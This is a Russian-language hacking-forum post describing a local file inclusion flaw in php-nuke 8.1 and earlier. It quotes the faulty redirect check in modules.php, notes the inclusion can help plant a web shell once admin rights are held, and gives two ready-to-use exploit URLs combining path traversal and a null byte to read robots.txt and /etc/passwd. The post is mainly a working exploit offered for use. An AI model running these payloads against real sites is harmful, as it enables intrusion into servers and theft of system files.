Показать сообщение отдельно
Старый 05.07.2010, 01:05   #13
Grey
 
Аватар для Grey
 
Регистрация: 30.06.2010
Сообщений: 38
По умолчанию

php-nuke <= 8.1 (Локальный инклуд)

Требуется:
Мейджик квотс = офф
Права админа

Может возникнуть вопрос: зачем оно нужно если нужны права админа?
Локальный инклуд может помочь с заливкой шелла (там напрямую через опцию в админке его не залить - ничего такого там нет).

Файл: /modules.php

PHP код:
if (stripos_clone($name"..") OR ((stripos_clone($modstring,"&file=nickpage") || stripos_clone($modstring,"&user=")) AND ($name=="Private_Messages" OR $name=="Forums" OR $name=="Members_List"))) header("Location: index.php"); 
Вот такая вот проверка - если в имени будут две точки то скрипт средиректит нас на главную страницу - занятно, т.к. после этого нет функции die() и скрипт продолжит работу и результат работы можно увидеть, к примеру достаточно отключить перенаправление в настройках браузера (кстати об этом написано в статье Роковые ошибки пхп ч2).

Код:
http://test1.ru/modules.php?name=Recommend_Us/../../&file=robots.txt%00
http://test1.ru/modules.php?name=Recommend_Us/../../../../&file=/etc/passwd%00
2008 © Grey

Последний раз редактировалось Grey; 09.08.2010 в 11:16..
Grey вне форума   Ответить с цитированием